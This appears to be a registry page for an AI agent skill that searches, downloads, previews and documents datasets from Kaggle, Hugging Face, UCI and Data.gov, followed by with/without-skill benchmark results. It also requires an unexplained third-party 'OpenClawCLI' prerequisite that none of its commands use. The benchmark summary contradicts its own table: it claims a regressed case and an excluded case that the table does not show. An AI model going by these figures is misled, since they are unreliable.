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Get Started Free →Use this skill when users need to search for datasets, download data files, or explore data repositories. Triggers include: requests to \"find datasets\", \"search for data\", \"download dataset from Kaggle\", \"get data from Hugging Face\", \"find ML datasets\", or mentions of data repositories like Kaggle, UCI ML Repository, Data.gov, or Hugging Face. Also use for previewing dataset statistics, generating data cards, or discovering datasets for machine learning projects. Requires OpenClawCLI i
.claude/skills/dataset-finder/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-01 | ✗→✓ | ▲ Improved | 189% | 0% |
| case-03 | ✗→✓ | ▲ Improved | 357% | 0% |
| case-04 | ✗→✓ | ▲ Improved | 676% | 0% |
| case-05 | ✗→✓ | ▲ Improved | 279% | 0% |
| case-06 | ✗→✓ | ▲ Improved | 454% | 0% |
Search, download, and explore datasets from multiple repositories including Kaggle, Hugging Face, UCI ML Repository, and Data.gov. Preview statistics, generate data cards, and manage datasets for machine learning projects.
⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)
Installation:
bash# Standard installation pip install kaggle datasets pandas huggingface-hub requests beautifulsoup4 # If you encounter permission errors, use a virtual environment python -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate pip install kaggle datasets pandas huggingface-hub requests beautifulsoup4
Never use --break-system-packages as it can damage your system's Python installation.
| Task | Command | |------|---------| | Search Kaggle | python scripts/dataset.py kaggle search "housing prices" | | Download Kaggle dataset | python scripts/dataset.py kaggle download "username/dataset-name" | | Search Hugging Face | python scripts/dataset.py huggingface search "sentiment" | | Download HF dataset | python scripts/dataset.py huggingface download "dataset-name" | | Search UCI ML | python scripts/dataset.py uci search "classification" | | Preview dataset | python scripts/dataset.py preview dataset.csv | | Generate data card | python scripts/dataset.py datacard dataset.csv --output README.md | | List local datasets | python scripts/dataset.py list |
Search across multiple data repositories from a single interface.
Supported Sources:
Download datasets with automatic format detection.
Supported formats:
Get quick statistics and insights without loading entire datasets.
Preview features:
Automatically generate dataset documentation.
Includes:
Search and download datasets from Kaggle.
Setup:
kaggle.json in ~/.kaggle/ (Linux/Mac) or %USERPROFILE%\.kaggle\ (Windows)bash# Search datasets python scripts/dataset.py kaggle search "house prices" # Search with filters python scripts/dataset.py kaggle search "NLP" --file-type csv --sort-by hotness # Download dataset python scripts/dataset.py kaggle download "zillow/zecon" # Download specific files python scripts/dataset.py kaggle download "username/dataset" --file "train.csv" # List dataset files python scripts/dataset.py kaggle list "username/dataset-name"
Search options:
--file-type - Filter by file type (csv, json, etc.)--license - Filter by license type--sort-by - Sort by hotness, votes, updated, or relevance--max-results - Limit number of resultsOutput:
1. House Prices - Advanced Regression Techniques
Owner: zillow/zecon
Size: 1.5 MB
Last updated: 2023-06-15
Downloads: 150,000+
URL: https://www.kaggle.com/datasets/zillow/zecon
2. Housing Prices Dataset
Owner: username/housing-data
Size: 850 KB
Last updated: 2023-08-20
Downloads: 50,000+
URL: https://www.kaggle.com/datasets/username/housing-dataSearch and download datasets from Hugging Face Hub.
bash# Search datasets python scripts/dataset.py huggingface search "sentiment analysis" # Search with filters python scripts/dataset.py huggingface search "NLP" --task text-classification --language en # Download dataset python scripts/dataset.py huggingface download "imdb" # Download specific split python scripts/dataset.py huggingface download "imdb" --split train # Download specific configuration python scripts/dataset.py huggingface download "glue" --config mrpc # Stream large datasets python scripts/dataset.py huggingface download "large-dataset" --streaming
Search options:
--task - Filter by task (text-classification, translation, etc.)--language - Filter by language code--multimodal - Include multimodal datasets--benchmark - Only benchmark datasets--max-results - Limit resultsOutput:
1. IMDB Movie Reviews
Dataset ID: imdb
Tasks: sentiment-classification
Languages: en
Size: 84.1 MB
Downloads: 1M+
URL: https://huggingface.co/datasets/imdb
2. Stanford Sentiment Treebank
Dataset ID: sst2
Tasks: sentiment-classification
Languages: en
Size: 7.4 MB
Downloads: 500K+
URL: https://huggingface.co/datasets/sst2Search and download classic ML datasets.
bash# Search datasets python scripts/dataset.py uci search "classification" # Search by characteristics python scripts/dataset.py uci search "regression" --min-samples 1000 # Download dataset python scripts/dataset.py uci download "iris" # Download with metadata python scripts/dataset.py uci download "wine-quality" --include-metadata
Search options:
--task-type - classification, regression, clustering--min-samples - Minimum number of instances--min-features - Minimum number of features--data-type - tabular, text, image, time-seriesOutput:
1. Iris Dataset
ID: iris
Task: classification
Samples: 150
Features: 4
Classes: 3
Missing values: No
URL: https://archive.ics.uci.edu/ml/datasets/iris
2. Wine Quality
ID: wine-quality
Task: classification/regression
Samples: 6497
Features: 11
Missing values: No
URL: https://archive.ics.uci.edu/ml/datasets/wine+qualitySearch US government open data.
bash# Search datasets python scripts/dataset.py datagov search "census" # Search with organization filter python scripts/dataset.py datagov search "health" --organization "cdc.gov" # Search by topic python scripts/dataset.py datagov search "education" --tags "schools,students" # Download dataset python scripts/dataset.py datagov download "dataset-id"
Search options:
--organization - Filter by publishing organization--tags - Filter by tags (comma-separated)--format - Filter by format (csv, json, xml, etc.)--max-results - Limit resultsOutput:
1. 2020 Census Demographic Data
Organization: census.gov
Format: CSV
Size: 125 MB
Last updated: 2023-01-15
Tags: census, demographics, population
URL: https://catalog.data.gov/dataset/...Get quick insights without loading entire datasets.
bash# Basic preview python scripts/dataset.py preview data.csv # Detailed statistics python scripts/dataset.py preview data.csv --detailed # Custom sample size python scripts/dataset.py preview data.csv --sample 20 # Multiple files python scripts/dataset.py preview train.csv test.csv
Output:
Dataset: train.csv
Shape: 1000 rows × 15 columns
Size: 2.5 MB
Memory usage: 120 KB
Columns:
- id (int64): no missing values
- name (object): 5 missing values
- age (int64): no missing values
- income (float64): 12 missing values
- category (object): no missing values
Numeric columns statistics:
age income
count 1000.0 988.0
mean 35.2 65432.1
std 12.5 25000.0
min 18.0 20000.0
max 75.0 150000.0
Categorical columns:
- category: 5 unique values
- name: 995 unique values
Sample (first 5 rows):
id name age income category
0 1 John Doe 35 65000.0 A
1 2 Jane Doe 28 55000.0 B
2 3 Bob Smith 42 85000.0 A
...Create standardized dataset documentation.
bash# Generate data card python scripts/dataset.py datacard dataset.csv --output DATACARD.md # Include statistics python scripts/dataset.py datacard dataset.csv --include-stats --output README.md # Custom template python scripts/dataset.py datacard dataset.csv --template custom_template.md # Multiple datasets python scripts/dataset.py datacard train.csv test.csv --output-dir datacards/
Generated data card includes:
Example output (DATACARD.md):
markdown# Dataset Card: Housing Prices ## Dataset Description This dataset contains housing prices and features for regression analysis. ## Dataset Information - **Format:** CSV - **Size:** 1.2 MB - **Rows:** 1,460 - **Columns:** 81 ## Schema | Column | Type | Description | Missing | |--------|------|-------------|---------| | Id | int64 | Unique identifier | 0 | | MSSubClass | int64 | Building class | 0 | | LotArea | int64 | Lot size in sq ft | 0 | | SalePrice | int64 | Sale price | 0 | ... ## Statistics - Numerical features: 38 - Categorical features: 43 - Missing values: 19 columns affected - Target variable: SalePrice (range: $34,900 - $755,000) ## Usage
import pandas as pd df = pd.read_csv('housing_prices.csv')
## License
Creative CommonsManage downloaded datasets.
bash# List all datasets python scripts/dataset.py list # List with details python scripts/dataset.py list --detailed # Filter by source python scripts/dataset.py list --source kaggle # Filter by size python scripts/dataset.py list --min-size 100MB --max-size 1GB
Output:
Local Datasets (5 total, 2.5 GB):
1. zillow/zecon (Kaggle)
Downloaded: 2024-01-15
Size: 1.5 MB
Files: train.csv, test.csv
Location: datasets/kaggle/zillow/zecon/
2. imdb (Hugging Face)
Downloaded: 2024-01-20
Size: 84.1 MB
Splits: train, test, unsupervised
Location: datasets/huggingface/imdb/
3. iris (UCI ML)
Downloaded: 2024-01-18
Size: 4.5 KB
Files: iris.data, iris.names
Location: datasets/uci/iris/Find and download datasets for a new ML project.
bash# Step 1: Search for relevant datasets python scripts/dataset.py kaggle search "house prices" --max-results 10 --output search_results.json # Step 2: Download selected dataset python scripts/dataset.py kaggle download "zillow/zecon" # Step 3: Preview the data python scripts/dataset.py preview datasets/kaggle/zillow/zecon/train.csv --detailed # Step 4: Generate documentation python scripts/dataset.py datacard datasets/kaggle/zillow/zecon/train.csv --output DATACARD.md
Gather text datasets for NLP tasks.
bash# Search Hugging Face for sentiment datasets python scripts/dataset.py huggingface search "sentiment" --task text-classification --language en # Download multiple datasets python scripts/dataset.py huggingface download "imdb" python scripts/dataset.py huggingface download "sst2" python scripts/dataset.py huggingface download "yelp_polarity" # Preview each dataset python scripts/dataset.py list --source huggingface
Compare multiple datasets for selection.
bash# Search across repositories python scripts/dataset.py kaggle search "titanic" --output kaggle_results.json python scripts/dataset.py uci search "classification" --output uci_results.json # Preview candidates python scripts/dataset.py preview candidate1.csv --output stats1.txt python scripts/dataset.py preview candidate2.csv --output stats2.txt # Generate comparison data cards python scripts/dataset.py datacard candidate1.csv candidate2.csv --output-dir comparison/
Organize datasets for team use.
bash# Create organized structure mkdir -p datasets/{kaggle,huggingface,uci,custom} # Download datasets with metadata python scripts/dataset.py kaggle download "dataset1" --output-dir datasets/kaggle/ python scripts/dataset.py huggingface download "dataset2" --output-dir datasets/huggingface/ # Generate data cards for all python scripts/dataset.py datacard datasets/**/*.csv --output-dir datacards/ # Create inventory python scripts/dataset.py list --detailed --output inventory.json
Assess dataset quality before use.
bash# Preview with detailed statistics python scripts/dataset.py preview dataset.csv --detailed --output quality_report.txt # Check for issues python scripts/dataset.py validate dataset.csv --check-missing --check-duplicates --check-outliers # Generate comprehensive data card python scripts/dataset.py datacard dataset.csv --include-stats --include-quality --output QA_REPORT.md
Download multiple datasets at once.
bash# Create download list cat > datasets.txt << EOF kaggle:zillow/zecon kaggle:username/housing huggingface:imdb uci:iris EOF # Batch download python scripts/dataset.py batch-download datasets.txt --output-dir datasets/
Convert between formats.
bash# CSV to Parquet python scripts/dataset.py convert data.csv --format parquet --output data.parquet # Excel to CSV python scripts/dataset.py convert data.xlsx --format csv --output data.csv # JSON to CSV python scripts/dataset.py convert data.json --format csv --output data.csv
Split datasets for ML workflows.
bash# Train/test split python scripts/dataset.py split data.csv --train 0.8 --test 0.2 # Train/val/test split python scripts/dataset.py split data.csv --train 0.7 --val 0.15 --test 0.15 # Stratified split python scripts/dataset.py split data.csv --stratify target_column --train 0.8 --test 0.2
Combine multiple datasets.
bash# Concatenate datasets python scripts/dataset.py merge file1.csv file2.csv --output combined.csv # Join on key python scripts/dataset.py merge left.csv right.csv --on id --how inner --output joined.csv
"Missing required dependency"
bash# Install all dependencies pip install kaggle datasets pandas huggingface-hub requests beautifulsoup4 # Or use virtual environment python -m venv venv source venv/bin/activate pip install -r requirements.txt
"Kaggle API credentials not found"
kaggle.json to:~/.kaggle/%USERPROFILE%\.kaggle\chmod 600 ~/.kaggle/kaggle.json"Hugging Face authentication required"
bash# Login to Hugging Face huggingface-cli login # Or set token export HF_TOKEN="your_token_here"
"No results found"
"Search timeout"
"Download failed"
"Permission denied"
"Out of memory"
"Cannot load dataset"
--encoding utf-8"Preview too slow"
bashpython scripts/dataset.py <command> [OPTIONS] COMMANDS: kaggle Kaggle operations (search, download, list) huggingface Hugging Face operations uci UCI ML Repository operations datagov Data.gov operations preview Preview dataset statistics datacard Generate dataset documentation list List local datasets batch-download Download multiple datasets convert Convert dataset formats split Split dataset for ML merge Combine datasets KAGGLE: search QUERY Search Kaggle datasets --file-type Filter by file type --license Filter by license --sort-by Sort results --max-results Limit results download DATASET Download Kaggle dataset --file Download specific file --output-dir Output directory HUGGING FACE: search QUERY Search HF datasets --task Filter by task --language Filter by language --max-results Limit results download DATASET Download HF dataset --split Specific split --config Configuration --streaming Stream large datasets UCI: search QUERY Search UCI datasets --task-type Filter by task --min-samples Minimum samples download DATASET Download UCI dataset PREVIEW: preview FILE Preview dataset --detailed Detailed statistics --sample N Sample size DATACARD: datacard FILE Generate data card --output Output file --include-stats Include statistics --template Custom template LIST: list List local datasets --detailed Show details --source Filter by source HELP: --help Show help
bash# Find housing datasets python scripts/dataset.py kaggle search "housing" # Find NLP datasets python scripts/dataset.py huggingface search "sentiment" --task text-classification # Find classic ML datasets python scripts/dataset.py uci search "classification"
bash# Download from Kaggle python scripts/dataset.py kaggle download "zillow/zecon" # Preview the data python scripts/dataset.py preview datasets/kaggle/zillow/zecon/train.csv --detailed # Generate documentation python scripts/dataset.py datacard datasets/kaggle/zillow/zecon/train.csv
bash# Search all repositories python scripts/dataset.py kaggle search "titanic" --output kaggle.json python scripts/dataset.py huggingface search "titanic" --output hf.json python scripts/dataset.py uci search "classification" --output uci.json # Compare results cat kaggle.json hf.json uci.json
bash# List all downloaded datasets python scripts/dataset.py list --detailed # Preview multiple datasets python scripts/dataset.py preview *.csv # Generate data cards for all python scripts/dataset.py datacard *.csv --output-dir datacards/
For issues or questions:
python scripts/dataset.py --helpResources:
| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-01 | fail→pass | 10,004 | 1,470 | -85% | 1 | 1 | 0% | 2,012 | 5,806 | +189% | 0 | 0 | — |
case-02 | fail→fail | 11,206 | 9,677 | -14% | 1 | 1 | 0% | 520 | 5,946 | +1043% | 0 | 0 | — |
case-03 | fail→pass | 7,302 | 9,017 | +23% | 1 | 1 | 0% | 1,612 | 7,369 | +357% | 0 | 0 | — |
case-04 | fail→pass | 5,038 | 2,153 | -57% | 1 | 1 | 0% | 759 | 5,889 | +676% | 0 | 0 | — |
case-05 | fail→pass | 7,923 | 2,492 | -69% | 1 | 1 | 0% | 1,586 | 6,008 | +279% | 0 | 0 | — |
case-06 | fail→pass | 5,884 | 2,436 | -59% | 1 | 1 | 0% | 1,067 | 5,907 | +454% | 0 | 0 | — |
case-07 | fail→pass | 13,110 | 3,426 | -74% | 1 | 1 | 0% | 2,464 | 6,228 | +153% | 0 | 0 | — |
case-08 | fail→pass | 6,758 | 2,443 | -64% | 1 | 1 | 0% | 1,272 | 5,981 | +370% | 0 | 0 | — |
case-09 | fail→pass | 9,489 | 3,682 | -61% | 1 | 1 | 0% | 1,722 | 6,200 | +260% | 0 | 0 | — |
case-10 | fail→pass | 6,304 | 1,974 | -69% | 1 | 1 | 0% | 1,184 | 5,811 | +391% | 0 | 0 | — |
case-11 | fail→pass | 6,548 | 1,739 | -73% | 1 | 1 | 0% | 1,324 | 5,875 | +344% | 0 | 0 | — |
case-12 | fail→pass | 6,629 | 2,455 | -63% | 1 | 1 | 0% | 1,283 | 6,024 | +370% | 0 | 0 | — |
case-13 | fail→pass | 10,410 | 2,369 | -77% | 1 | 1 | 0% | 1,768 | 5,907 | +234% | 0 | 0 | — |
case-14 | fail→pass | 8,792 | 2,595 | -70% | 1 | 1 | 0% | 1,691 | 6,019 | +256% | 0 | 0 | — |
case-15 | fail→pass | 7,975 | 2,495 | -69% | 1 | 1 | 0% | 1,497 | 5,987 | +300% | 0 | 0 | — |
case-16 | fail→pass | 7,282 | 2,372 | -67% | 1 | 1 | 0% | 1,395 | 5,942 | +326% | 0 | 0 | — |
case-17 | fail→pass | 3,886 | 2,259 | -42% | 1 | 1 | 0% | 692 | 5,976 | +764% | 0 | 0 | — |
case-18 | fail→pass | 5,549 | 2,219 | -60% | 1 | 1 | 0% | 1,193 | 5,996 | +403% | 0 | 0 | — |
case-19 | fail→pass | 6,552 | 2,112 | -68% | 1 | 1 | 0% | 1,444 | 5,893 | +308% | 0 | 0 | — |
case-20 | fail→fail | 13,688 | 4,334 | -68% | 1 | 1 | 0% | 565 | 6,061 | +973% | 0 | 0 | — |
case-21 | fail→fail | 3,704 | 3,054 | -18% | 1 | 1 | 0% | 669 | 6,124 | +815% | 0 | 0 | — |
case-22 | fail→fail | 3,258 | 3,213 | -1% | 1 | 1 | 0% | 694 | 6,178 | +790% | 0 | 0 | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted, and 21 counted toward the lift figure. The other 1 produced results that are not comparable between the two arms, so they are excluded from the headline rather than averaged into it. The headline lift of +82 percentage points is the difference between those two pass rates over the 21 comparable cases. 1 case got worse with the skill loaded, and it is included in that figure.
Without the skill loaded, the model failed this case. With it loaded, the same prompt on the same model passed. This is one improved case from the latest verified run; every case, including any that regressed, is in the table above.
Other measured skills in the registry, with their headline benchmark lift.